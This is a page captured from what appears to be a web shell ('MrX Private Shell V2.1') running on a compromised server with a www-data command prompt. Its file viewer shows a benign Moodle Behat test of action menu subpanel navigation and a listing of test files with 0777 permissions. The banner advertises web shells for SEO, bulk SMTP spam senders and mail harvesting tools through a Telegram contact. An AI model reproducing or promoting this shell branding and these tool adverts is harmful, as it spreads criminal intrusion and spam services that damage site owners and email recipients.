__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @javascript
Feature: Navigate action menu subpanels
  In order to navigate an action menu subpanel
  As a user
  I need to be able to use both keyboard and mouse to open the subpanel

  Background:
    Given I log in as "admin"
    And I am on fixture page "/lib/tests/behat/fixtures/action_menu_subpanel_output_testpage.php"

  Scenario: Navigate several action menus subpanels with mouse
    Given I click on "Actions menu" "button" in the "regularscenario" "region"
    And I click on "Subpanel example" "menuitem" in the "regularscenario" "region"
    And I should see "Status A" in the "regularscenario" "region"
    And I should see "Status B" in the "regularscenario" "region"
    And I should not see "Status C" in the "regularscenario" "region"
    And I should not see "Status D" in the "regularscenario" "region"
    When I click on "Another subpanel" "menuitem" in the "regularscenario" "region"
    Then I should not see "Status A" in the "regularscenario" "region"
    And I should not see "Status B" in the "regularscenario" "region"
    And I should see "Status C" in the "regularscenario" "region"
    And I should see "Status D" in the "regularscenario" "region"
    And I click on "Status D" "link" in the "regularscenario" "region"
    And I should see "Foo param value: Donkey" in the "paramcheck" "region"

  Scenario: Check extra data in subpanel action menu items
    When I should see "Adding data attributes to menu item" in the "dataattributes" "region"
    # the page have a javascript script to check that for us.
    Then "[data-extra='some other value']" "css_element" should exist in the "dataattributes" "region"
    And "[data-extra='some other value']" "css_element" should exist in the "dataattributes" "region"
    And I should see "Extra data attribute detected: some extra value" in the "datachecks" "region"
    And I should see "Extra data attribute detected: some other value" in the "datachecks" "region"

  Scenario: User can navigate left menus subpanels
    Given I click on "Actions menu" "button" in the "menuleft" "region"
    And I click on "Subpanel example" "menuitem" in the "menuleft" "region"
    And I should see "Status A" in the "menuleft" "region"
    And I should see "Status B" in the "menuleft" "region"
    And I should not see "Status C" in the "menuleft" "region"
    And I should not see "Status D" in the "menuleft" "region"
    When I click on "Another subpanel" "menuitem" in the "menuleft" "region"
    Then I should not see "Status A" in the "menuleft" "region"
    And I should not see "Status B" in the "menuleft" "region"
    And I should see "Status C" in the "menuleft" "region"
    And I should see "Status D" in the "menuleft" "region"
    And I click on "Status D" "link" in the "menuleft" "region"
    And I should see "Foo param value: Donkey" in the "paramcheck" "region"

  Scenario: User can show the subpanels content using keyboard
    Given I click on "Actions menu" "button" in the "regularscenario" "region"
    # Move to the first subpanel element.
    And I press the down key
    And I press the down key
    And I press the down key
    And I should see "Status A" in the "regularscenario" "region"
    And I should see "Status B" in the "regularscenario" "region"
    And I should not see "Status C" in the "regularscenario" "region"
    And I should not see "Status D" in the "regularscenario" "region"
    # Move to the next subpanel.
    When I press the down key
    Then I should not see "Status A" in the "regularscenario" "region"
    And I should not see "Status B" in the "regularscenario" "region"
    And I should see "Status C" in the "regularscenario" "region"
    And I should see "Status D" in the "regularscenario" "region"

  Scenario: User can browse the subpanel content using the arrow keys
    Given I click on "Actions menu" "button" in the "regularscenario" "region"
    # Move to the first subpanel element.
    And I press the down key
    And I press the down key
    And I press the down key
    # Move in the subpanel with arrow keys and loop the links with up and down.
    When I press the right key
    And the focused element is "Status A" "link" in the "regularscenario" "region"
    And I press the down key
    And the focused element is "Status B" "link" in the "regularscenario" "region"
    And I press the down key
    And the focused element is "Status A" "link" in the "regularscenario" "region"
    And I press the up key
    And the focused element is "Status B" "link" in the "regularscenario" "region"
    # Leave the subpanel with right and left key.
    Then I press the right key
    And the focused element is "Subpanel example" "menuitem" in the "regularscenario" "region"
    And I press the right key
    And the focused element is "Status A" "link" in the "regularscenario" "region"
    And I press the left key
    And the focused element is "Subpanel example" "menuitem" in the "regularscenario" "region"
    And I press the left key
    And the focused element is "Status A" "link" in the "regularscenario" "region"
    And I press the left key
    And the focused element is "Subpanel example" "menuitem" in the "regularscenario" "region"
    # Move to the next subpanel with enter.
    And I press the down key
    And I press the right key
    And the focused element is "Status C" "link" in the "regularscenario" "region"
    And I press the down key
    And the focused element is "Status D" "link" in the "regularscenario" "region"
    # Select the current link of the panel with enter.
    And I press the enter key
    And I should see "Foo param value: Donkey" in the "paramcheck" "region"

  Scenario: User can open and close subpanels in mobile
    Given I change the viewport size to "mobile"
    And I click on "Actions menu" "button" in the "regularscenario" "region"
    And I should not see "Status A" in the "regularscenario" "region"
    And I should not see "Status B" in the "regularscenario" "region"
    And I should not see "Status C" in the "regularscenario" "region"
    And I should not see "Status D" in the "regularscenario" "region"
    When I click on "Subpanel example" "menuitem" in the "regularscenario" "region"
    And I should see "Status A" in the "regularscenario" "region"
    And I should see "Status B" in the "regularscenario" "region"
    And I should not see "Status C" in the "regularscenario" "region"
    And I should not see "Status D" in the "regularscenario" "region"
    # In mobile click the menu item toggles the subpanel.
    Then I click on "Subpanel example" "menuitem" in the "regularscenario" "region"
    And I should not see "Status A" in the "regularscenario" "region"
    And I should not see "Status B" in the "regularscenario" "region"
    And I should not see "Status C" in the "regularscenario" "region"
    And I should not see "Status D" in the "regularscenario" "region"
    And I click on "Another subpanel" "menuitem" in the "regularscenario" "region"
    And I should not see "Status A" in the "regularscenario" "region"
    And I should not see "Status B" in the "regularscenario" "region"
    And I should see "Status C" in the "regularscenario" "region"
    And I should see "Status D" in the "regularscenario" "region"
    And I click on "Status D" "link" in the "regularscenario" "region"
    And I should see "Foo param value: Donkey" in the "paramcheck" "region"

  Scenario: User can browse the subpanels using keys in extra small windows
    Given I change the viewport size to "mobile"
    And I click on "Actions menu" "button" in the "regularscenario" "region"
    # Go to the seconds subpanel and open it with enter.
    And I press the down key
    And I press the down key
    And I press the down key
    And I press the down key
    And the focused element is "Another subpanel" "menuitem" in the "regularscenario" "region"
    And I press the enter key
    When I should not see "Status A" in the "regularscenario" "region"
    And I should not see "Status B" in the "regularscenario" "region"
    And I should see "Status C" in the "regularscenario" "region"
    And I should see "Status D" in the "regularscenario" "region"
    And the focused element is "Status C" "link" in the "regularscenario" "region"
    # Loop the subpanel links wand the menu item with up and down.
    Then I press the down key
    And the focused element is "Status D" "link" in the "regularscenario" "region"
    And I press the down key
    And the focused element is "Another subpanel" "menuitem" in the "regularscenario" "region"
    And I press the down key
    And the focused element is "Status C" "link" in the "regularscenario" "region"
    And I press the down key
    And the focused element is "Status D" "link" in the "regularscenario" "region"
    And I press the up key
    And the focused element is "Status C" "link" in the "regularscenario" "region"
    And I press the up key
    And the focused element is "Another subpanel" "menuitem" in the "regularscenario" "region"
    # Use up in the item to close the panel.
    And I press the up key
    And I should not see "Status A" in the "regularscenario" "region"
    And I should not see "Status B" in the "regularscenario" "region"
    And I should not see "Status C" in the "regularscenario" "region"
    And I should not see "Status D" in the "regularscenario" "region"
    And the focused element is "Subpanel example" "menuitem" in the "regularscenario" "region"
    # Enter the panel and select the second link.
    And I press the enter key
    And I press the down key
    And the focused element is "Status B" "link" in the "regularscenario" "region"
    And I press the enter key
    And I should see "Foo param value: Beetle" in the "paramcheck" "region"

  Scenario: action menu subpanels can display optional icons in the menu item
    Given I click on "Actions menu" "button" in the "regularscenario" "region"
    And "Locked icon" "icon" should not exist in the "regularscenario" "region"
    And "Message icon" "icon" should not exist in the "regularscenario" "region"
    And I click on "Actions menu" "button" in the "menuleft" "region"
    And "Locked icon" "icon" should not exist in the "menuleft" "region"
    And "Message icon" "icon" should not exist in the "menuleft" "region"
    When I click on "Actions menu" "button" in the "itemicon" "region"
    Then "Locked icon" "icon" should exist in the "itemicon" "region"
    And "Message icon" "icon" should exist in the "itemicon" "region"
    And I click on "Actions menu" "button" in the "itemiconleft" "region"
    And "Locked icon" "icon" should exist in the "itemiconleft" "region"
    And "Message icon" "icon" should exist in the "itemiconleft" "region"

  @accessibility
  Scenario: User can browse the subpanels using keys in a drawer action menu
    Given I click on "Actions menu" "button" in the "drawersimulation" "region"
    # Go to the seconds subpanel and open it with enter.
    And I press the down key
    And I press the down key
    And I press the down key
    And I press the down key
    And the focused element is "Another subpanel" "menuitem" in the "drawersimulation" "region"
    And I press the enter key
    When I should not see "Status A" in the "drawersimulation" "region"
    And I should not see "Status B" in the "drawersimulation" "region"
    And I should see "Status C" in the "drawersimulation" "region"
    And I should see "Status D" in the "drawersimulation" "region"
    And the focused element is "Status C" "link" in the "drawersimulation" "region"
    # Loop the subpanel links wand the menu item with up and down.
    Then I press the down key
    And the focused element is "Status D" "link" in the "drawersimulation" "region"
    And I press the down key
    And the focused element is "Another subpanel" "menuitem" in the "drawersimulation" "region"
    And I press the down key
    And the focused element is "Status C" "link" in the "drawersimulation" "region"
    And I press the down key
    And the focused element is "Status D" "link" in the "drawersimulation" "region"
    And I press the up key
    And the focused element is "Status C" "link" in the "drawersimulation" "region"
    And I press the up key
    And the focused element is "Another subpanel" "menuitem" in the "drawersimulation" "region"
    # Use up in the item to close the panel.
    And I press the up key
    And I should not see "Status A" in the "drawersimulation" "region"
    And I should not see "Status B" in the "drawersimulation" "region"
    And I should not see "Status C" in the "drawersimulation" "region"
    And I should not see "Status D" in the "drawersimulation" "region"
    And the focused element is "Subpanel example" "menuitem" in the "drawersimulation" "region"
    And the page should meet accessibility standards with "wcag143" extra tests
    # Enter the panel and select the second link.
    And I press the enter key
    And I press the down key
    And the focused element is "Status B" "link" in the "drawersimulation" "region"
    And I press the enter key
    And I should see "Foo param value: Beetle" in the "paramcheck" "region"

  Scenario: User can browse the menu using the WCAG recommended compount keyboard navigation
    Given I click on "Actions menu" "button" in the "regularscenario" "region"
    And I press the down key
    And I press the down key
    And I press the down key
    And the focused element is "Subpanel example" "menuitem" in the "regularscenario" "region"
    When I press the tab key
    And the focused element is "Status A" "link" in the "regularscenario" "region"
    And I should see "Status A" in the "regularscenario" "region"
    And I should see "Status B" in the "regularscenario" "region"
    And I press the down key
    Then I press the shift tab key
    And the focused element is "Subpanel example" "menuitem" in the "regularscenario" "region"
    And I should not see "Status A" in the "regularscenario" "region"
    And I should not see "Status B" in the "regularscenario" "region"
    And I press the enter key
    And the focused element is "Status A" "link" in the "regularscenario" "region"
    And I should see "Status A" in the "regularscenario" "region"
    And I should see "Status B" in the "regularscenario" "region"
    And I press the escape key
    And the focused element is "Subpanel example" "menuitem" in the "regularscenario" "region"
    And I should not see "Status A" in the "regularscenario" "region"
    And I should not see "Status B" in the "regularscenario" "region"

Filemanager

Name Type Size Permission Actions
fixtures Folder 0777
action_menu.feature File 1.11 KB 0777
action_menu_subpanel.feature File 14.23 KB 0777
action_modal.feature File 2.06 KB 0777
alpha_chooser.feature File 22.13 KB 0777
behat_accessibility.php File 7.8 KB 0777
behat_action_menu.php File 8.45 KB 0777
behat_data_generators.php File 10.55 KB 0777
behat_deprecated.php File 1.41 KB 0777
behat_download.php File 8.42 KB 0777
behat_filters.php File 2.95 KB 0777
behat_forms.php File 33.96 KB 0777
behat_general.php File 115.55 KB 0777
behat_hooks.php File 33.02 KB 0777
behat_moodlenet.php File 2.03 KB 0777
behat_navigation.php File 72.67 KB 0777
behat_permissions.php File 12.62 KB 0777
behat_transformations.php File 7.17 KB 0777
datetime_any.feature File 4.24 KB 0777
dropdown_output.feature File 11.15 KB 0777
enabledashboard.feature File 846 B 0777
expand_single_fieldset.feature File 697 B 0777
largeforms.feature File 2.67 KB 0777
locking.feature File 8.55 KB 0777
menu_navigation_single_activity.feature File 4.04 KB 0777
menu_navigation_topics.feature File 4.38 KB 0777
min_max_version.feature File 1018 B 0777
modal_focus.feature File 1.36 KB 0777
moodlenet_outbound.feature File 5.62 KB 0777
moodlenet_share_course.feature File 3.64 KB 0777
moodlenet_share_partial_course.feature File 5.45 KB 0777
permissionmanager.feature File 3.62 KB 0777
profile_pic_access.feature File 3.32 KB 0777
readonlyform.feature File 1.14 KB 0777
securelayout.feature File 1.96 KB 0777
showuseridentity.feature File 4.26 KB 0777
switch_editing_mode.feature File 2.67 KB 0777
timezone.feature File 431 B 0777
userfeedback.feature File 2.18 KB 0777
Filemanager